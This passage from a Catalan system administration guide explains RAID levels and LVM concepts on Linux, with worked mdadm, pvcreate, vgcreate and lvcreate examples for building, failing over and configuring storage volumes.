Tot i que el subsistema RAID del nucli permet crear un “RAID lineal”, això no és un RAID adequat, ja que aquesta configuració no implica cap redundància. El nucli simplement agrega diversos discs d'extrem a extrem i proporciona el volum agregat resultant com un disc virtual (un dispositiu de bloc). Aquesta és la seva única funció. Aquesta configuració és rarament utilitzada per si mateixa (vegeu més endavant les excepcions), especialment perquè la manca de redundància significa que un disc que falli fa que tot el conjunt, i per tant totes les dades, quedi fora de servei.

RAID-0

Aquest nivell tampoc proporciona cap redundància, però els discs no estan simplement un darrere l'altre: estan dividits en tires, i els blocs del dispositiu virtual s'emmagatzemen en tires en discs físics alterns. En una configuració RAID-0 de dos discso, per exemple, els blocs parells del dispositiu virtual s'emmagatzemaran en el primer disc físic, mentre que els blocs senars acabaran en el segon disc físic.

Aquest sistema no té com a objectiu augmentar la fiabilitat, ja que (com en el cas lineal) la disponibilitat de totes les dades es posa en perill tan aviat com un disc falla, sinó en un rendiment millorat: durant l'accés seqüencial a grans quantitats de dades contigües, el nucli podrà llegir des dels dos discos (o escriure-hi) en paral·lel, la qual cosa augmenta la taxa de transferència de dades. Els discs són utilitzats íntegrament pel dispositiu RAID, de manera que haurien de tenir la mateixa mida per no perdre el rendiment.

L'ús de RAID-0 s'està reduint, i el seu nínxol és ocupat per LVM (vegeu més endavant).

RAID-1

Aquest nivell, també conegut com a “RAID en mirall” (o «RAID mirroring») és tant la configuració més simple com la més utilitzada. En la seva forma estàndard, utilitza dos discos físics de la mateixa mida, i proporciona un volum lògic d'aquesta mateixa mida. Les dades s'emmagatzemen idènticament en ambdós discs, d'aquí el sobrenom de “mirall” (o «mirror» en anglès). Quan un disc falla, les dades encara estan disponibles a l'altre. Per a dades realment crítiques, el RAID-1 es pot configurar en més de dos discos, amb un impacte directe en la relació cost de maquinari enfront de l'espai de dades disponible.

NOTA Discos i mides de «cluster»

Si es configuren dos discos de diferents mides en “mirall”, el més gran no s'utilitzarà plenament, ja que conté les mateixes dades que el més petit i prou. L'espai disponible útil proporcionat per un volum RAID-1 coincideix per tant amb la mida del disc més petit del conjunt. Això també és vàlid per a volums RAID amb un nivell de RAID més alt, tot i que la redundància s'emmagatzema de manera diferent.

Per tant, és important, quan s'estableixen conjunts RAID (excepte per RAID-0 i RAID lineal), només muntar discos de mides idèntiques, o molt similars, per evitar el balafiament de recursos.

NOTA Discos lliures

Els nivells RAID que inclouen redundància permeten assignar més discos dels requerits al conjunt. Els discos extres s'utilitzen com a recanvi quan un dels discos principals falla. Per exemple, en un mirall de dos discos més un de recanvi, si un dels dos primers falla, el nucli reconstruirà automàticament (i immediatament) el mirall utilitzant el disc de recanvi, de manera que la redundància romangui assegurada després del temps de reconstrucció. Això es pot utilitzar com una altra mena de salvaguarda per a les dades crítiques.

Hom es podria preguntar què pot ser millor que simplement configurar un mirall de tres discos per començar. L'avantatge de la configuració amb “disc de reserva” és que el disc de recanvi es pot compartir entre diversos volums RAID. Per exemple, es poden tenir tres volums en mirall, amb la redundància assegurada fins i tot en cas de fallada d'un disc, amb només set discos (tres parells, més un com a recanvi compartit), en lloc dels nou discs que serien requerits per tres triplets.

Aquest nivell RAID, encara que car (com a màxim, només la meitat de l'espai d'emmagatzematge físic és usable), s'utilitza àmpliament a la pràctica. És fàcil d'entendre, i permet còpies de seguretat molt simples: ja que tots dos discs tenen continguts idèntics, un d'ells pot ser extret temporalment sense cap impacte en el sistema de treball. El rendiment de lectura sovint s'incrementa, ja que el nucli pot llegir la meitat de les dades de cada disc en paral·lel, mentre que el rendiment d'escriptura no es degrada massa. En cas d'una matriu RAID-1 de N discos, les dades es mantenen disponibles fins i tot amb la fallada d'N-1 discos.

COMPTE RAID no és una còpia de seguretat

Els sistemes RAID no són mecanismes de còpia de seguretat. Mentre que el RAID augmenta la redundància -i, per tant, la disponibilitat d'un sistema- i protegeix contra les fallades de disc, les còpies de seguretat es fan per protegir les dades de ser alterades, eliminades, corrompudes, etc., i per poder restaurar-les si cal. Per a demostrar-ho, si elimineu per accident un o tots els fitxers, un RAID reflectirà aquest canvi, però no proporcionarà els mitjans per a restaurar els fitxers. Per tant, encara que és evident que existeix una superposició, no són el mateix i haurien d'utilitzar-se conjuntament.

RAID-4

Aquest nivell RAID, no gaire utilitzat, utilitza N discos per emmagatzemar dades útils, i un disc extra per emmagatzemar informació de redundància. Si aquest disc falla, el sistema pot reconstruir el seu contingut a partir dels altres N. Si un dels N discos de dades falla, els N-1 restants combinats amb el disc de “paritat” conté prou informació per reconstruir les dades necessàries.

RAID-4 no és massa costós, ja que només implica un augment d'un sobre N en els costos i no té cap impacte notable en el rendiment de lectura, però les escriptures s'alenteixen. A més, ja que una escriptura a qualsevol dels N discs també implica una escriptura al disc de paritat, aquest últim veu moltes més escriptures que l'anterior, i la seva vida útil pot escurçar-se dramàticament com a conseqüència. Les dades d'un conjunt RAID-4 són segures només fins a un sol disc espatllat (dels N+1).

RAID-5

RAID-5 resol el problema de l'asimetria de RAID-4: els blocs de paritat s'escampen en tots els N+1 discos, sense que cap disc tingui un paper particular.

El rendiment de lectura i escriptura és idèntic a RAID-4. Aquí de nou, el sistema roman funcional amb fins a un sol disc espatllat (dels N+1), però no més.

RAID-6

RAID-6 es pot considerar una extensió de RAID-5, on cada sèrie d'N blocs implica dos blocs de redundància, i cada sèrie d'N+2 blocs es distribueix per N+2 discos.

Aquest nivell RAID és lleugerament més car que els dos anteriors, però aporta una mica de seguretat addicional, ja que fins a dues unitats (de les N+2) poden fallar sense comprometre la disponibilitat de dades. La contrapartida és que les operacions d'escriptura ara impliquen escriure un bloc de dades i dos blocs de redundància, la qual cosa els fa encara més lents.

RAID-1+0

Això no és, estrictament parlant, un nivell RAID, sinó una combinació de dos grups RAID. A partir de 2xN discos, hom primer els estableix per parells en N volums RAID-1; aquests N volums s'agregaran en un, ja sigui amb RAID lineal o (cada cop més) amb LVM. Aquest últim cas va més enllà del RAID estricte, però no hi ha cap problema amb això.

RAID-1+0 pot sobreviure a múltiples fallades de disc: fins a N en la matriu 2xN descrita anteriorment, sempre que almenys un disc continuï funcional en cadascun dels parells RAID-1.

ANANT MÉS ENLLÀ RAID-10

El RAID-10 és generalment considerat un sinònim de RAID-1+0, però una especificat de Linux fa que sigui realment una generalització. Aquesta configuració permet un sistema on cada bloc s'emmagatzema en dos discs diferents, fins i tot amb un nombre senar de discos, i les còpies s'estenen al llarg d'un model configurable.

El rendiment variarà depenent del model de repartició i el nivell de redundància escollits, i de la càrrega de treball del volum lògic.

Òbviament, el nivell RAID es triarà d'acord amb les restriccions i requisits de cada aplicació. Tingueu en compte que un sol ordinador pot tenir diversos conjunts RAID amb diferents configuracions.

12.1.1.2. Configuració del RAID

La configuració de volums RAID requereix el paquet mdadm; aquest proporciona la comanda mdadm, que permet crear i manipular conjunts RAID, així com scripts i eines que els integren a la resta del sistema, inclòs el sistema de monitorització.

El nostre exemple serà un servidor amb una sèrie de discos, alguns dels quals ja s'utilitzen, i la resta estarà disponible per configurar el RAID. Inicialment tenim els següents discos i particions:

el disc sdb, de 4 GB, està tot disponible;

el disc sdc, de 4 GB, està també disponible completament;

al disc sdd només hi ha disponible la partició sdd2 (al voltant de 4 GB);

finalment, un disc sde, també de 4 GB, completament disponible.

NOTA Identificació de volums RAID existents

El fitxer /proc/mdstat llista els volums existents i els seus estats. En crear un nou volum RAID s'ha de tenir cura de no anomenar-lo igual que un volum ja existent.

Farem servir aquests elements físics per construir dos volums, un RAID-0 i un mirall (RAID-1). Comencem amb el volum RAID-0:

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md0 started. # mdadm --query /dev/md0 /dev/md0: 7.99GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md0 /dev/md0: Version : 1.2 Creation Time : Mon Feb 28 01:54:24 2022 Raid Level : raid0 Array Size : 8378368 (7.99 GiB 8.58 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 01:54:24 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Layout : -unknown- Chunk Size : 512K Consistency Policy : none Name : debian:0 (local to host debian) UUID : a75ac628:b384c441:157137ac:c04cd98c Events : 0 Number Major Minor RaidDevice State 0 8 0 0 active sync /dev/sdb 1 8 16 1 active sync /dev/sdc # mkfs.ext4 /dev/md0 mke2fs 1.46.2 (28-Feb-2021) Discarding device blocks: done Creating filesystem with 2094592 4k blocks and 524288 inodes Filesystem UUID: ef077204-c477-4430-bf01-52288237bea0 Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632 Allocating group tables: done Writing inode tables: done Creating journal (16384 blocks): done Writing superblocks and filesystem accounting information: done # mkdir /srv/raid-0 # mount /dev/md0 /srv/raid-0 # df -h /srv/raid-0 Filesystem Size Used Avail Use% Mounted on /dev/md0 7.8G 24K 7.4G 1% /srv/raid-0

La comanda mdadm --create requereix diversos paràmetres: el nom del volum a crear (/dev/md*, amb MD representant «Multiple Device» o “dispositiu múltiple”), el nivell RAID, el nombre de discos (que és obligatori tot i ser sobretot significatiu només amb RAID-1 i superiors), i les unitats físiques a utilitzar. Una vegada creat el dispositiu, es pot utilitzar com es fa servir una partició normal, crear-hi un sistema de fitxers, muntar aquest sistema de fitxers, etc. Tingueu en compte que la creació d'un volum RAID-0 a md0 no és més que una coincidència, i la numeració de conjunt no necessita estar correlacionada amb la quantitat de redundància triada. També és possible crear conjunts RAID amb nom, proporcionant a mdadm paràmetres com ara /dev/md/linear en lloc de /dev/md0.

La creació d'un RAID-1 segueix un estil similar, les diferències només es poden observar després de la creació:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde mdadm: Note: this array has metadata at the start and may not be suitable as a boot device. If you plan to store '/boot' on this device please ensure that your boot-loader understands md/v1.x metadata, or use --metadata=0.90 mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1% Continue creating array? y mdadm: Defaulting to version 1.2 metadata mdadm: array /dev/md1 started. # mdadm --query /dev/md1 /dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail. # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Tue Jun 25 10:21:22 2019 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Tue Jun 25 10:22:03 2019 State : clean, resyncing Active Devices : 2 Working Devices : 2 Failed Devices : 0 Spare Devices : 0 Consistency Policy : resync Resync Status : 93% complete Name : mirwiz:1 (local to host debian) UUID : 7d123734:9677b7d6:72194f7d:9050771c Events : 16 Number Major Minor RaidDevice State 0 8 64 0 active sync /dev/sdd2 1 8 80 1 active sync /dev/sde # mdadm --detail /dev/md1 /dev/md1: [...] State : clean [...]

SUGGERIMENT RAID, discos i particions

Com il·lustra el nostre exemple, els dispositius RAID es poden construir també a partir de particions de disc, i no requereixen discos sencers.

Hi ha algunes observacions a fer. En primer lloc, mdadm observa que els elements físics tenen mides diferents; ja que això implica que algun espai es perdrà en l'element més gran, es requereix una confirmació.

I cosa que és més important, noteu l'estat del mirall. L'estat normal d'un mirall RAID és que ambdós discos tinguin exactament el mateix contingut. No obstant això, res garanteix que sigui així quan es crea el volum per primera vegada. El subsistema RAID, per tant, proporcionarà aquesta garantia per si mateix i hi haurà una fase de sincronització tan aviat com es creï el dispositiu RAID. Després d'un cert temps (la quantitat exacta dependrà de la mida real dels discos...), la matriu RAID canviarà a l'estat «active» (actiu) o «clean» (net). Tingueu en compte que durant aquesta fase de reconstrucció el mirall està en mode degradat, i la redundància no està assegurat. Un disc que falli durant aquesta finestra de risc podria provocar la pèrdua de totes les dades. Grans quantitats de dades crítiques, però, rarament s'emmagatzemen en una matriu RAID creada just abans de la seva sincronització inicial. Tingueu en compte que fins i tot en mode degradat /dev/md1 és utilitzable, s'hi pot crear un sistema de fitxers, i així com també copiar-hi dades.

SUGGERIMENT Iniciar un mirall en mode degradat

A vegades, dos discos no estan immediatament disponibles quan es vol iniciar un mirall RAID-1, per exemple perquè un dels discos que es preveu incloure ja s'utilitza per emmagatzemar les dades que es vol moure a la matriu. En aquestes circumstàncies, és possible crear deliberadament una matriu RAID-1 degradada passant «missing» (falta) en lloc d'un fitxer de dispositiu com un dels arguments a mdadm. Una vegada que les dades s'han copiat al “mirall”, el disc antic es pot afegir a la matriu. Llavors es produirà una sincronització que donarà la redundància que es vol en primer lloc.

SUGGERIMENT Configuració d'un mirall sense sincronització

Els volums RAID-1 sovint es creen per ser utilitzats com un nou disc, sovint considerat en blanc. Per tant, el contingut inicial del disc no és molt rellevant, ja que només cal saber que les dades escrites després de la creació del volum, en particular el sistema de fitxers, es poden accedir més tard.

Per tant, cal preguntar-se pel sentit de sincronitzar els dos discos en el moment de la creació. Per què preocupar-se si el contingut és idèntic en zones del volum que sabem que només es llegiran després d'haver-hi escrit?

Afortunadament, aquesta fase de sincronització es pot evitar passant l'opció --assume-clean a mdadm. No obstant això, aquesta opció pot portar a sorpreses en els casos en què les dades inicials es llegiran (per exemple si un sistema de fitxers ja està present en els discos físics), per la qual cosa no està habilitat per defecte.

Ara vegem què passa quan un dels elements del conjunt RAID-1 falla. mdadm, en particular la seva opció --fail, permet simular un error de disc d'aquest tipus:

# mdadm /dev/md1 --fail /dev/sde mdadm: set /dev/sde faulty in /dev/md1 # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 2 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:15:34 2022 State : clean, degraded Active Devices : 1 Working Devices : 1 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 19 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 - 0 0 1 removed 1 8 48 - faulty /dev/sde

El contingut del volum encara és accessible (i, si està muntat, les aplicacions no se n'adonen de res), però la seguretat de les dades ja no està assegurada: si el disc sdd falla, les dades es perdrien. Volem evitar aquest risc, així que substituirem el disc espatllat per un nou, sdf:

# mdadm /dev/md1 --add /dev/sdf mdadm: added /dev/sdf # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean, degraded, recovering Active Devices : 1 Working Devices : 2 Failed Devices : 1 Spare Devices : 1 Consistency Policy : resync Rebuild Status : 47% complete Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 39 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 spare rebuilding /dev/sdf 1 8 48 - faulty /dev/sde # [...] [...] # mdadm --detail /dev/md1 /dev/md1: Version : 1.2 Creation Time : Mon Feb 28 02:07:48 2022 Raid Level : raid1 Array Size : 4189184 (4.00 GiB 4.29 GB) Used Dev Size : 4189184 (4.00 GiB 4.29 GB) Raid Devices : 2 Total Devices : 3 Persistence : Superblock is persistent Update Time : Mon Feb 28 02:25:34 2022 State : clean Active Devices : 2 Working Devices : 2 Failed Devices : 1 Spare Devices : 0 Consistency Policy : resync Name : debian:1 (local to host debian) UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8 Events : 41 Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf 1 8 48 - faulty /dev/sde

Aquí de nou, el nucli desencadena automàticament una fase de reconstrucció durant la qual el volum, encara que encara és accessible, es troba en mode degradat. Una vegada que la reconstrucció ha acabat, el conjunt RAID torna a un estat normal. Llavors es pot dir al sistema que el disc sde està a punt de ser eliminat del conjunt, per tal d'acabar amb un mirall RAID clàssic en dos discos:

# mdadm /dev/md1 --remove /dev/sde mdadm: hot removed /dev/sde from /dev/md1 # mdadm --detail /dev/md1 /dev/md1: [...] Number Major Minor RaidDevice State 0 8 34 0 active sync /dev/sdd2 2 8 64 1 active sync /dev/sdf

A partir d'aleshores, la unitat es pot retirar físicament quan el servidor s'apagui, o fins i tot es pot retirar en calent si la configuració del maquinari permet la desconnexió en calent. Aquestes configuracions inclouen alguns controladors SCSI, la majoria de discos SATA i unitats externes que operen amb USB o Firewire.

12.1.1.3. Fent còpies de seguretat de la configuració

La majoria de les metadades relatives als volums RAID es guarden directament en els discos que componen aquestes volums, de manera que el nucli pot detectar els volums i els seus components i muntar-los automàticament quan el sistema s'inicia. No obstant això, es recomana la còpia de seguretat d'aquesta configuració, perquè aquesta detecció no és a prova de fallades, i només s'espera que falli precisament en circumstàncies sensibles. En el nostre exemple, si la fallada del disc sde hagués estat real (en lloc de simulada) i el sistema s'hagués reiniciat sense eliminar aquest disc sde, aquest disc podria començar a funcionar de nou a causa d'haver estat detectat durant el reinici. El nucli tindria llavors tres elements físics, cadascun reclamant contenir la meitat del mateix volum RAID. En realitat, això porta al RAID a engegar alternativament dels discos individualment - distribuint també les dades alternativament, depenent de quin disc inicia el RAID en mode degradat. Una altra font de confusió pot arribar quan els volums RAID de dos servidors es consoliden en un sol servidor. Si aquests volums s'executessin normalment abans que els discos es moguessin, el nucli podria detectar i tornar a muntar les parelles correctament; però si els discs moguts s'haguessin agregat en un md1 en el servidor antic, i el nou servidor ja té un md1, un dels miralls seria reanomenat.

Per tant, és important fer una còpia de seguretat de la configuració, encara que només sigui com a referència. La forma estàndard de fer-ho és editant el fitxer /etc/mdadm/mdadm.conf, un exemple del qual es mostra aquí:

Exemple 12.1. Fitxer de configuració de mdadm

# mdadm.conf # # !NB! Run update-initramfs -u after updating this file. # !NB! This will ensure that initramfs has an uptodate copy. # # Please refer to mdadm.conf(5) for information about this file. # # by default (built-in), scan all partitions (/proc/partitions) and all # containers for MD superblocks. alternatively, specify devices to scan, using # wildcards if desired. DEVICE /dev/sd* # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR root # definitions of existing MD arrays ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1 # This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

Un dels detalls més útils és l'opció DEVICE, que llista els dispositius on el sistema buscarà automàticament els components dels volums RAID en el moment d'inici. En el nostre exemple, substituïm el valor per defecte, partitions containers, amb una llista explícita de fitxers de dispositius, ja que es va optar per utilitzar discos sencers i no només particions, per a alguns volums.

Les dues últimes línies en el nostre exemple són aquelles que permeten al nucli triar amb seguretat quin número de volum assignar a quina matriu. Les metadades emmagatzemades en els discos són suficients per tornar a muntar els volums, però no per determinar el número de volum (i el corresponent nom de dispositiu /dev/md*).

Afortunadament, aquestes línies es poden generar automàticament:

# mdadm --misc --detail --brief /dev/md? ARRAY /dev/md/0 metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0 ARRAY /dev/md/1 metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

El contingut d'aquestes dues últimes línies no depèn de la llista de discs inclosos al volum. Per tant, no és necessari regenerar aquestes línies quan se substitueix un disc fallit per un de nou. D'altra banda, s'ha de tenir cura d'actualitzar l'arxiu quan es crea o se suprimeix un conjunt RAID.

12.1.2. LVM

LVM, el «Logical Volume Manager» o “Gestor de volums lògics”, és un altre enfocament de l'abstracció de volums lògics respecte dels seus suports físics, que se centra en augmentar la flexibilitat en lloc d'augmentar la fiabilitat. LVM permet canviar un volum lògic de manera transparent pel que fa a les aplicacions; per exemple, és possible afegir nous discs, migrar-hi les dades, i eliminar els discos antics, sense desmuntar el volum.

12.1.2.1. Conceptes d'LVM

Aquesta flexibilitat s'aconsegueix mitjançant un nivell d'abstracció que implica tres conceptes.

En primer lloc, el PV («Physical Volum» o “Volum físic”) és l'entitat més propera al maquinari: poden ser particions en un disc, o un disc complet, o fins i tot qualsevol altre dispositiu de blocs (incloent, per exemple, un volum RAID). Cal tenir en compte que quan un element físic està configurat per ser un PV d'LVM, només s'hi ha d'accedir a través de LVM, en cas contrari el sistema es confondrà.

Un nombre de PVs es poden agrupar en un VG («Volum Group» o “Grup de volums”), que es pot comparar amb discs virtuals i extensibles. Els VG són abstractes, i no apareixen en un fitxer de dispositiu en la jerarquia de /dev, així que no hi ha risc d'usar-los directament.

El tercer tipus d'objecte és l'LV («Logical Volume» o “volum lògic”), que és un tros d'un VG; si mantenim l'analogia de “VG-com-a-disc”, l'LV es compara amb una partició. L'LV apareix com un dispositiu de blocs amb una entrada a /dev, i es pot utilitzar com qualsevol altra partició física (habitualment per albergar un sistema de fitxers o espai d'intercanvi).

L'important és que la divisió d'un VG en LVs és totalment independent dels seus components físics (els PV). Un VG amb un únic component físic (un disc per exemple) es pot dividir en una dotzena de volums lògics; de manera similar, un VG pot utilitzar diversos discos físics i aparèixer com un únic i gran volum lògic. L'única restricció, òbviament, és que la grandària total assignada als LV no pot ser més gran que la capacitat total dels PV del grup de volums.

No obstant això, sovint té sentit tenir algun tipus d'homogeneïtat entre els components físics d'un VG, i dividir el VG en volums lògics que tindran patrons d'ús similars. Per exemple, si el maquinari disponible inclou discos ràpids i discos més lents, els ràpids es podrien agrupar en un VG i els més lents en un altre; els trossos del primer es poden assignar a aplicacions que requereixin accés ràpid de dades, mentre que el segon es mantindria per a tasques menys exigents.

En qualsevol cas, tingueu en compte que un LV no està particularment vinculat a cap PV. És possible influir on les dades d'un LV s'emmagatzemen físicament, però aquesta possibilitat no és necessària per a l'ús diari. Al contrari: quan el conjunt de components físics d'un VG evoluciona, les localitzacions d'emmagatzematge físic corresponents a un LV particular es poden migrar entre discos (sempre romanent dins dels PV assignats al VG, per descomptat).

12.1.2.2. Configuració d'LVM

Seguim ara, pas a pas, el procés de creació d'un LVM per a un cas típic d'ús: volem simplificar una complexa situació d'emmagatzematge. Aquesta situació sol produir-se després d'una llarga i complicada història de mesures temporals acumulades. A tall il·lustratiu, considerarem un servidor on les necessitats d'emmagatzematge han canviat amb el temps, acabant en un laberint de particions disponibles dividides en diversos discs parcialment utilitzats. En termes més concrets, estan disponibles les següents particions:

al disc sdb, una partición sdb2 de 4Gb;

al disco sdc, una partició sdc3 de 3 GB;

el disc sdd, de 4 GB, completament disponible;

al disc sdf, una partición sdf1 de 4 GB i una partició sdf2 de 5GB.

A més, suposem que els discos sdb i sdf són més ràpids que els altres dos.

El nostre objectiu és establir tres volums lògics per a tres aplicacions diferents: un servidor d'arxius que requereix 5 GB d'espai d'emmagatzematge, una base de dades (1 GB) i una mica d'espai per a còpies de seguretat (12 GB). Les dues primeres necessiten un bon rendiment, però les còpies de seguretat són menys crítiques en termes de velocitat d'accés. Totes aquestes restriccions eviten l'ús de particions per si soles; l'ús de LVM pot absteure la mida física dels dispositius, de manera que l'únic límit és l'espai total disponible.

Les eines necessàries són en el paquet lvm2 i les seves dependències. Quan estan instal·lats, la instal·lació de l'LVM consisteix en tres passos, corresponents als tres nivells dels conceptes.

Primer, preparem els volums físics utilitzant pvcreate:

# pvcreate /dev/sdb2 Physical volume "/dev/sdb2" successfully created. # pvdisplay "/dev/sdb2" is a new physical volume of "4.00 GiB" --- NEW Physical volume --- PV Name /dev/sdb2 VG Name PV Size 4.00 GiB Allocatable NO PE Size 0 Total PE 0 Free PE 0 Allocated PE 0 PV UUID yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B # for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done Physical volume "/dev/sdc3" successfully created. Physical volume "/dev/sdd" successfully created. Physical volume "/dev/sdf1" successfully created. Physical volume "/dev/sdf2" successfully created. # pvdisplay -C PV VG Fmt Attr PSize PFree /dev/sdb2 lvm2 --- 4.00g 4.00g /dev/sdc3 lvm2 --- 3.00g 3.00g /dev/sdd lvm2 --- 4.00g 4.00g /dev/sdf1 lvm2 --- 4.00g 4.00g /dev/sdf2 lvm2 --- 5.00g 5.00g

Fins aquí tot bé; tingueu en compte que un PV es pot configurar en un disc complet així com en particions individuals d'ell. Com es mostra a dalt, l'ordre pvdisplay llista els PV existents, amb dos formats de sortida possibles.

Ara ajuntem aquests elements físics en VG utilitzant vgcreate. Només agafarem els PV dels discos ràpids en un VG vg_critical; l'altre VG, vg_normal, també inclourà elements més lents.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1 Volume group "vg_critical" successfully created # vgdisplay --- Volume group --- VG Name vg_critical System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 1 VG Access read/write VG Status resizable MAX LV 0 Cur LV 0 Open LV 0 Max PV 0 Cur PV 2 Act PV 2 VG Size 7.99 GiB PE Size 4.00 MiB Total PE 2046 Alloc PE / Size 0 / 0 Free PE / Size 2046 / 7.99 GiB VG UUID JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G # vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2 Volume group "vg_normal" successfully created # vgdisplay -C VG #PV #LV #SN Attr VSize VFree vg_critical 2 0 0 wz--n- 7.99g 7.99g vg_normal 3 0 0 wz--n- <11.99g <11.99g

Aquí, de nou, les ordres són bastant senzilles (i vgdisplay proposa dos formats de sortida). Tingueu en compte que és possible utilitzar dues particions del mateix disc físic en dos VG diferents. Tingueu en compte també que hem utilitzat un prefix vg_ per anomenar els nostres VG, però no és més que una convenció.

Ara tenim dos “discos virtuals”, de mides aproximadament 8 GB i 12 GB respectivament. Ara els hem de dividir en “particions virtuals” (LV). Això involucra l'ordre lvcreate, i una sintaxi lleugerament més complexa:

# lvdisplay # lvcreate -n lv_files -L 5G vg_critical Logical volume "lv_files" created. # lvdisplay --- Logical volume --- LV Path /dev/vg_critical/lv_files LV Name lv_files VG Name vg_critical LV UUID Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd LV Write Access read/write LV Creation host, time debian, 2022-03-01 00:17:46 +0100 LV Status available # open 0 LV Size 5.00 GiB Current LE 1280 Segments 2 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 # lvcreate -n lv_base -L 1G vg_critical Logical volume "lv_base" created. # lvcreate -n lv_backups -L 11.98G vg_normal Rounding up size to full physical extent 11.98 GiB Rounding up size to full physical extent 11.98 GiB Logical volume "lv_backups" created. # lvdisplay -C LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert lv_base vg_critical -wi-a----- 1.00g lv_files vg_critical -wi-a----- 5.00g lv_backups vg_normal -wi-a----- 11.98g

Es requereixen dos paràmetres al crear volums lògics; s'han de passar a lvcreate com a opcions. El nom de l'LV a crear s'especifica amb l'opció -n, i la seva mida es dona generalment utilitzant l'opció -L. També hem de dir-li a l'ordre en quin VG ha d'operar, per descomptat; d'aquí l'últim paràmetre de la línia d'ordres.

ANANT MÉS ENLLÀ Opcions d'lvcreate

L'ordre lvcreate té diverses opcions per permetre retocar com es crea un LV.

Descrivim primer l'opció -l, amb la qual la mida de l'LV es pot donar com a una sèrie de blocs (en oposició a les unitats “humanes” que hem utilitzat anteriorment). Aquests blocs (anomenats , en termes LVM, PE, «physical extents» o “extensions físiques”) són unitats contigües d'espai d'emmagatzematge en PV, i no es poden dividir entre els LV. Quan es vol definir l'espai d'emmagatzematge per a un LV amb certa precisió, per exemple per utilitzar l'espai disponible complet, l'opció -l probablement es preferirà més que no pas -L.

També és possible donar a conèixer la ubicació física d'un LV, de manera que les seves extensions s'emmagatzemin en un PV en particular (sempre romanent dins dels assignats al VG, per descomptat). Com que sabem que sdb és més ràpid que sdf, és possible que hi vulguem emmagatzemar la lv_base si volem donar un avantatge al servidor de bases de dades en comparació amb el servidor de fitxers. La línia d'ordres esdevé: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Tingueu en compte que aquesta ordre pot fallar si el PV no té prou extensions lliures. En el nostre exemple, probablement hauríem de crear lv_base abans que lv_files per evitar aquesta situació – o alliberar espai a sdb2 amb l'ordre pvmove.

Els volums lògics, un cop creats, esdevenen fitxers de dispositius de blocs a /dev/mapper/:

# ls -l /dev/mapper total 0 crw------- 1 root root 10, 236 Mar 1 00:17 control lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_critical-lv_base -> ../dm-1 lrwxrwxrwx 1 root root 7 Mar 1 00:17 vg_critical-lv_files -> ../dm-0 lrwxrwxrwx 1 root root 7 Mar 1 00:19 vg_normal-lv_backups -> ../dm-2 # ls -l /dev/dm-* brw-rw---- 1 root disk 253, 0 Mar 1 00:17 /dev/dm-0 brw-rw---- 1 root disk 253, 1 Mar 1 00:19 /dev/dm-1 brw-rw---- 1 root disk 253, 2 Mar 1 00:19 /dev/dm-2

NOTA Autodetecció de volums LVM

Quan l'ordinador arrenca, la unitat de servei systemd lvm2-activation executa vgchange -aay per “activar” els grups de volums: explora els dispositius disponibles; els que han estat inicialitzats com a volums físics per a LVM són registrats al subsistema LVM, els que pertanyen a grups de volums són agrupats, i els volums lògics pertinents s'inicien i es posen a disposició. Per tant, no hi ha necessitat d'editar els fitxers de configuració quan es creen o modifiquen volums LVM.

